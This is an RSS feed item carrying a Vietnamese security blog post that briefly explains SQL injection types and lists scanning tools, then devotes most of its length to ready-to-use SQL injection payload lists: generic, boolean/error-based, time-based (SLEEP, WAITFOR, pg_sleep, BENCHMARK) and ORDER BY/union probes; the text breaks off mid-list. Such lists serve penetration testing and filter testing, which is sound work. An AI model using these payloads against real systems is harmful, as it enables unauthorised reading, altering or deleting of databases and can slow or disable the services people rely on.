<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:media="http://search.yahoo.com/mrss/" >

<channel>
	<title>sql injection &#8211; AnonyViet</title>
	<atom:link href="https://anonyviet.com/tag/sql-injection/feed/" rel="self" type="application/rss+xml" />
	<link>https://anonyviet.com</link>
	<description>Webiste chia sẻ kiến thức công nghệ thông tin, mạng máy tính, bảo mật phổ biến nhất Việt Nam. Luôn cập nhật tin tức, thủ thuật nóng hổi nhất</description>
	<lastBuildDate>Fri, 25 Jul 2025 02:15:43 +0000</lastBuildDate>
	<language>vi</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://anonyviet.com/wp-content/uploads/2018/10/cropped-ico-logo-75x75.png</url>
	<title>sql injection &#8211; AnonyViet</title>
	<link>https://anonyviet.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Danh sách Payload SQL Injection</title>
		<link>https://anonyviet.com/danh-sach-payload-sql-injection/</link>
					<comments>https://anonyviet.com/danh-sach-payload-sql-injection/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Sat, 09 Sep 2023 00:50:44 +0000</pubDate>
				<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[payload]]></category>
		<category><![CDATA[sql injection]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=42530</guid>

					<description><![CDATA[Trong bài này, mình sẽ giải thích SQL injection là gì, một số ví dụ phổ biến, giải thích cách tìm và khai thác các loại lỗ hổng SQL injection và cách ngăn chặn SQL injection. SQL injection (SQLi) là gì? SQL injection là một lỗ hổng bảo mật web cho phép kẻ tấn công [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Trong bài này, mình sẽ giải thích SQL injection là gì, một số ví dụ phổ biến, giải thích cách tìm và khai thác các loại lỗ hổng SQL injection và <a href="https://anonyviet.com/sql-injection-la-gi-lam-the-nao-de-ngan-chan-lo-hong-sql-injection/">cách ngăn chặn SQL injection</a>.</p>
<p><img fetchpriority="high" decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2022/07/1_zB5JlbMSA26pklzNRAmSEg.jpg" alt="Danh sách Payload SQL Injection" width="611" height="354" title="Danh sách Payload SQL Injection 2"></p>
<h2>SQL injection (SQLi) là gì?</h2>
<p>SQL injection là một lỗ hổng bảo mật web cho phép kẻ tấn công can thiệp vào các truy vấn mà ứng dụng thực hiện đối với cơ sở dữ liệu của nó. Nó thường cho phép kẻ tấn công xem dữ liệu mà chúng thường không thể lấy. Bao gồm dữ liệu thuộc về người dùng hoặc bất kỳ dữ liệu nào khác mà bản thân ứng dụng có thể truy cập. Trong nhiều trường hợp, kẻ tấn công có thể sửa đổi hoặc xóa dữ liệu này, gây ra các thay đổi liên tục đối với nội dung hoặc hành vi của ứng dụng.</p>
<p>Trong một số tình huống, kẻ tấn công có thể leo thang một cuộc tấn công SQL injection để xâm phạm máy chủ hoặc cơ sở hạ tầng back-end hoặc thực hiện một cuộc tấn công từ chối dịch vụ.</p>
<h3>Các loại SQL injection:</h3>
<ul>
<li><strong>In-band SQLi (SQLi cổ điển):</strong> <strong>In-band SQLi</strong> là phương thức tấn công SQL Injection phổ biến và dễ khai thác nhất. In-band SQL Injection xảy ra khi kẻ tấn công có thể sử dụng cùng một kênh liên lạc để khởi động cuộc tấn công và thu thập kết quả. Hai loại SQL Injection phổ biến nhất là SQLi dựa trên lỗi và SQLi dựa trên Union.</li>
<li><strong>SQLi dựa trên lỗi:</strong> <strong>SQLi dựa trên lỗi</strong> là một kỹ thuật in-band SQL dựa vào các thông báo lỗi do máy chủ cơ sở dữ liệu đưa ra để lấy thông tin về cấu trúc của cơ sở dữ liệu. Trong một số trường hợp, chỉ riêng việc chèn SQL dựa trên lỗi là đủ để kẻ tấn công liệt kê toàn bộ cơ sở dữ liệu.</li>
<li><strong>SQLi dựa trên Union:</strong> <strong>SQLi dựa trên Union</strong> là một kỹ thuật tiêm SQL in-band sử dụng toán tử SQL UNION để kết hợp các kết quả của hai hoặc nhiều câu lệnh SELECT thành một kết quả duy nhất, sau đó được trả về như một phần của phản hồi HTTP.</li>
<li><strong>SQLi Suy luận(Blind SQLi):</strong> <strong>SQLi Suy luận</strong>, không giống như SQL in-band, có thể mất nhiều thời gian hơn để kẻ tấn công khai thác, tuy nhiên, nó cũng nguy hiểm như bất kỳ dạng SQL Injection nào khác. Trong một cuộc tấn công SQLi Suy luận, không có dữ liệu nào thực sự được chuyển qua ứng dụng web và kẻ tấn công sẽ không thể nhìn thấy kết quả của một cuộc tấn công in-band (đó là lý do tại sao các cuộc tấn công như vậy thường được gọi là &#8220;tấn công mù SQL Injection&#8221;) . Thay vào đó, kẻ tấn công có thể xây dựng lại cấu trúc cơ sở dữ liệu bằng cách gửi payloads, quan sát phản hồi của ứng dụng web và kết quả của máy chủ cơ sở dữ liệu. Hai kiểu SQL Injection suy luận là SQLi dựa trên Blind-boolean và SQLi dựa trên thời gian mù.</li>
<li><strong>SQLi mù dựa trên Boolean (dựa trên nội dung): SQL Injection dựa trên Boolean</strong> là một kỹ thuật SQL Injection suy luận dựa trên việc gửi một truy vấn SQL đến cơ sở dữ liệu, buộc ứng dụng trả về một kết quả khác tùy thuộc vào việc truy vấn trả về TRUE hay FALSE. Tùy thuộc vào kết quả, nội dung bên trong phản hồi HTTP sẽ thay đổi hoặc giữ nguyên. Điều này cho phép kẻ tấn công suy luận xem payload được sử dụng trả về true hay false, mặc dù không có dữ liệu nào từ cơ sở dữ liệu được trả về.</li>
<li><strong>SQLi mù dựa trên thời gian</strong>: <strong>SQL Injection dựa trên thời gian</strong> là một kỹ thuật SQL Injection suy luận dựa trên việc gửi một truy vấn SQL đến cơ sở dữ liệu, buộc cơ sở dữ liệu phải đợi một khoảng thời gian cụ thể (tính bằng giây) trước khi phản hồi. Thời gian phản hồi sẽ cho kẻ tấn công biết kết quả của truy vấn là TRUE hay FALSE. Tùy thuộc vào kết quả, phản hồi HTTP sẽ được trả lại trễ hoặc trả về ngay lập tức. Điều này cho phép kẻ tấn công suy luận xem payload được sử dụng trả về true hay false, mặc dù không có dữ liệu nào từ cơ sở dữ liệu được trả về.</li>
<li><strong>SQLi ngoài băng tần: SQL Injection ngoài băng tần</strong> không phổ biến lắm, chủ yếu là do nó phụ thuộc vào các tính năng được bật trên máy chủ cơ sở dữ liệu đang được ứng dụng web sử dụng. SQL Injection ngoài băng tần xảy ra khi kẻ tấn công không thể sử dụng cùng một kênh để khởi động cuộc tấn công và thu thập kết quả. Các kỹ thuật ngoài băng tần, cung cấp cho kẻ tấn công một giải pháp thay thế cho các kỹ thuật dựa trên thời gian suy diễn, đặc biệt nếu phản hồi của máy chủ không ổn định lắm (làm cho một cuộc tấn công dựa trên thời gian suy diễn không đáng tin cậy).</li>
<li><strong>Sql Injection dựa trên âm thanh:</strong> Đây là một phương pháp tấn công sql injection có thể được áp dụng trong các ứng dụng cung cấp quyền truy cập vào cơ sở dữ liệu bằng lệnh thoại. Kẻ tấn công có thể lấy thông tin từ cơ sở dữ liệu bằng cách gửi các truy vấn sql kèm theo âm thanh.</li>
</ul>
<h3>Các công cụ quét lỗ hổng SQL Injection:</h3>
<ul>
<li><a href="https://github.com/sqlmapproject/sqlmap" target="_blank" rel="noopener">SQLMap</a> &#8211; Công cụ quét cơ sở dữ liệu và tiêm SQL tự động</li>
<li><a href="https://github.com/ron190/jsql-injection" target="_blank" rel="noopener">jSQL Injection</a> &#8211; Công cụ Java để tiêm SQL tự động</li>
<li><a href="https://github.com/Neohapsis/bbqsql" target="_blank" rel="noopener">BBQSQL</a> &#8211; Một công cụ khai thác SQL-Injection mù</li>
<li><a href="https://github.com/codingo/NoSQLMap" target="_blank" rel="noopener">NoSQLMap</a> &#8211; Pwnage cơ sở dữ liệu NoSQL tự động</li>
<li><a href="https://www.kitploit.com/2017/05/whitewidow-sql-vulnerability-scanner.html" target="_blank" rel="noopener">Whitewidow</a> &#8211; Máy quét lỗ hổng SQL</li>
<li><a href="https://github.com/stamparm/DSSS" target="_blank" rel="noopener">DSSS</a> &#8211; Máy quét lỗ hổng SQLi nhỏ</li>
<li><a href="https://github.com/dtag-dev-sec/explo" target="_blank" rel="noopener">explore</a> &#8211; Định dạng kiểm tra lỗ hổng trên web</li>
<li><a href="https://github.com/awnumar/blind-sql-bitshifting" target="_blank" rel="noopener">Blind-Sql-Bitshifting</a> &#8211; Blind SQL-Injection qua Bitshifting</li>
<li><a href="https://github.com/leviathan-framework/leviathan" target="_blank" rel="noopener">Leviathan</a> &#8211; Bộ công cụ kiểm tra hàng loạt trên phạm vi rộng</li>
<li><a href="https://github.com/JohnTroony/Blisqy" target="_blank" rel="noopener">Blisqy</a> &#8211; Khai thác phương thức tiêm SQL mù dựa trên thời gian trong HTTP-Headers (MySQL / MariaDB)</li>
</ul>
<h2>Các payload SQL Injection chung</h2>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">'
''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or # 
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
 OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%00
/*…*/ 
+        addition, concatenate (or space in url)
||        (double pipe) concatenate
%        wildcard attribute indicator
@variable    local variable
@@variable    global variable
# Numeric
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2
1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+
1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+
1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --
-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --
-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@
1 AND (SELECT * FROM Users) = 1    
' AND MID(VERSION(),1,1) = '5';
' and 1 in (select min(name) from sysobjects where xtype = 'U' and name &gt; '.') --
Finding the table name
Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--
Comments:
#        Hash comment
/*      C-style comment
-- -    SQL comment
;%00    Nullbyte
`        Backtick</pre>
<h2>Các payload dựa trên lỗi</h2>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">OR 1=1
 OR 1=0
 OR x=x
 OR x=y
 OR 1=1#
 OR 1=0#
 OR x=x#
 OR x=y#
 OR 1=1-- 
 OR 1=0-- 
 OR x=x-- 
 OR x=y-- 
 OR 3409=3409 AND ('pytW' LIKE 'pytW
 OR 3409=3409 AND ('pytW' LIKE 'pytY
 HAVING 1=1
 HAVING 1=0
 HAVING 1=1#
 HAVING 1=0#
 HAVING 1=1-- 
 HAVING 1=0-- 
 AND 1=1
 AND 1=0
 AND 1=1-- 
 AND 1=0-- 
 AND 1=1#
 AND 1=0#
 AND 1=1 AND '%'='
 AND 1=0 AND '%'='
 AND 1083=1083 AND (1427=1427
 AND 7506=9091 AND (5913=5913
 AND 1083=1083 AND ('1427=1427
 AND 7506=9091 AND ('5913=5913
 AND 7300=7300 AND 'pKlZ'='pKlZ
 AND 7300=7300 AND 'pKlZ'='pKlY
 AND 7300=7300 AND ('pKlZ'='pKlZ
 AND 7300=7300 AND ('pKlZ'='pKlY
 AS INJECTX WHERE 1=1 AND 1=1
 AS INJECTX WHERE 1=1 AND 1=0
 AS INJECTX WHERE 1=1 AND 1=1#
 AS INJECTX WHERE 1=1 AND 1=0#
 AS INJECTX WHERE 1=1 AND 1=1--
 AS INJECTX WHERE 1=1 AND 1=0--
 WHERE 1=1 AND 1=1
 WHERE 1=1 AND 1=0
 WHERE 1=1 AND 1=1#
 WHERE 1=1 AND 1=0#
 WHERE 1=1 AND 1=1--
 WHERE 1=1 AND 1=0--
 ORDER BY 1-- 
 ORDER BY 2-- 
 ORDER BY 3-- 
 ORDER BY 4-- 
 ORDER BY 5-- 
 ORDER BY 6-- 
 ORDER BY 7-- 
 ORDER BY 8-- 
 ORDER BY 9-- 
 ORDER BY 10-- 
 ORDER BY 11-- 
 ORDER BY 12-- 
 ORDER BY 13-- 
 ORDER BY 14-- 
 ORDER BY 15-- 
 ORDER BY 16-- 
 ORDER BY 17-- 
 ORDER BY 18-- 
 ORDER BY 19-- 
 ORDER BY 20-- 
 ORDER BY 21-- 
 ORDER BY 22-- 
 ORDER BY 23-- 
 ORDER BY 24-- 
 ORDER BY 25-- 
 ORDER BY 26-- 
 ORDER BY 27-- 
 ORDER BY 28-- 
 ORDER BY 29-- 
 ORDER BY 30-- 
 ORDER BY 31337-- 
 ORDER BY 1# 
 ORDER BY 2# 
 ORDER BY 3# 
 ORDER BY 4# 
 ORDER BY 5# 
 ORDER BY 6# 
 ORDER BY 7# 
 ORDER BY 8# 
 ORDER BY 9# 
 ORDER BY 10# 
 ORDER BY 11# 
 ORDER BY 12# 
 ORDER BY 13# 
 ORDER BY 14# 
 ORDER BY 15# 
 ORDER BY 16# 
 ORDER BY 17# 
 ORDER BY 18# 
 ORDER BY 19# 
 ORDER BY 20# 
 ORDER BY 21# 
 ORDER BY 22# 
 ORDER BY 23# 
 ORDER BY 24# 
 ORDER BY 25# 
 ORDER BY 26# 
 ORDER BY 27# 
 ORDER BY 28# 
 ORDER BY 29# 
 ORDER BY 30#
 ORDER BY 31337#
 ORDER BY 1 
 ORDER BY 2 
 ORDER BY 3 
 ORDER BY 4 
 ORDER BY 5 
 ORDER BY 6 
 ORDER BY 7 
 ORDER BY 8 
 ORDER BY 9 
 ORDER BY 10 
 ORDER BY 11 
 ORDER BY 12 
 ORDER BY 13 
 ORDER BY 14 
 ORDER BY 15 
 ORDER BY 16 
 ORDER BY 17 
 ORDER BY 18 
 ORDER BY 19 
 ORDER BY 20 
 ORDER BY 21 
 ORDER BY 22 
 ORDER BY 23 
 ORDER BY 24 
 ORDER BY 25 
 ORDER BY 26 
 ORDER BY 27 
 ORDER BY 28 
 ORDER BY 29 
 ORDER BY 30 
 ORDER BY 31337 
 RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
 RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl--
IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl--
%' AND 8310=8310 AND '%'='
%' AND 8310=8311 AND '%'='
 and (select substring(@@version,1,1))='X'
 and (select substring(@@version,1,1))='M'
 and (select substring(@@version,2,1))='i'
 and (select substring(@@version,2,1))='y'
 and (select substring(@@version,3,1))='c'
 and (select substring(@@version,3,1))='S'
 and (select substring(@@version,3,1))='X'</pre>
<h2>Các payload SQL Injection dựa trên thời gian</h2>
<pre class="EnlighterJSRAW" data-enlighter-language="generic"># from wapiti
sleep(5)#
1 or sleep(5)#
" or sleep(5)#
' or sleep(5)#
" or sleep(5)="
' or sleep(5)='
1) or sleep(5)#
") or sleep(5)="
') or sleep(5)='
1)) or sleep(5)#
")) or sleep(5)="
')) or sleep(5)='
;waitfor delay '0:0:5'--
);waitfor delay '0:0:5'--
';waitfor delay '0:0:5'--
";waitfor delay '0:0:5'--
');waitfor delay '0:0:5'--
");waitfor delay '0:0:5'--
));waitfor delay '0:0:5'--
'));waitfor delay '0:0:5'--
"));waitfor delay '0:0:5'--
benchmark(10000000,MD5(1))#
1 or benchmark(10000000,MD5(1))#
" or benchmark(10000000,MD5(1))#
' or benchmark(10000000,MD5(1))#
1) or benchmark(10000000,MD5(1))#
") or benchmark(10000000,MD5(1))#
') or benchmark(10000000,MD5(1))#
1)) or benchmark(10000000,MD5(1))#
")) or benchmark(10000000,MD5(1))#
')) or benchmark(10000000,MD5(1))#
pg_sleep(5)--
1 or pg_sleep(5)--
" or pg_sleep(5)--
' or pg_sleep(5)--
1) or pg_sleep(5)--
") or pg_sleep(5)--
') or pg_sleep(5)--
1)) or pg_sleep(5)--
")) or pg_sleep(5)--
')) or pg_sleep(5)--
AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe
AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'='
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)--
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#
SLEEP(5)#
SLEEP(5)--
SLEEP(5)="
SLEEP(5)='
or SLEEP(5)
or SLEEP(5)#
or SLEEP(5)--
or SLEEP(5)="
or SLEEP(5)='
waitfor delay '00:00:05'
waitfor delay '00:00:05'--
waitfor delay '00:00:05'#
benchmark(50000000,MD5(1))
benchmark(50000000,MD5(1))--
benchmark(50000000,MD5(1))#
or benchmark(50000000,MD5(1))
or benchmark(50000000,MD5(1))--
or benchmark(50000000,MD5(1))#
pg_SLEEP(5)
pg_SLEEP(5)--
pg_SLEEP(5)#
or pg_SLEEP(5)
or pg_SLEEP(5)--
or pg_SLEEP(5)#
'\"
AnD SLEEP(5)
AnD SLEEP(5)--
AnD SLEEP(5)#
&amp;&amp;SLEEP(5)
&amp;&amp;SLEEP(5)--
&amp;&amp;SLEEP(5)#
' AnD SLEEP(5) ANd '1
'&amp;&amp;SLEEP(5)&amp;&amp;'1
ORDER BY SLEEP(5)
ORDER BY SLEEP(5)--
ORDER BY SLEEP(5)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)--
+benchmark(3200,SHA1(1))+'
+ SLEEP(10) + '
RANDOMBLOB(500000000/2)
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
RANDOMBLOB(1000000000/2)
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/</pre>
<h2>Các Payload Union</h2>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">ORDER BY SLEEP(5)
 ORDER BY 1,SLEEP(5)
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'))
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
 ORDER BY SLEEP(5)#
 ORDER BY 1,SLEEP(5)#
 ORDER BY 1,SLEEP(5),3#
 ORDER BY 1,SLEEP(5),3,4#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
 ORDER BY SLEEP(5)-- 
 ORDER BY 1,SLEEP(5)-- 
 ORDER BY 1,SLEEP(5),3-- 
 ORDER BY 1,SLEEP(5),3,4-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- 
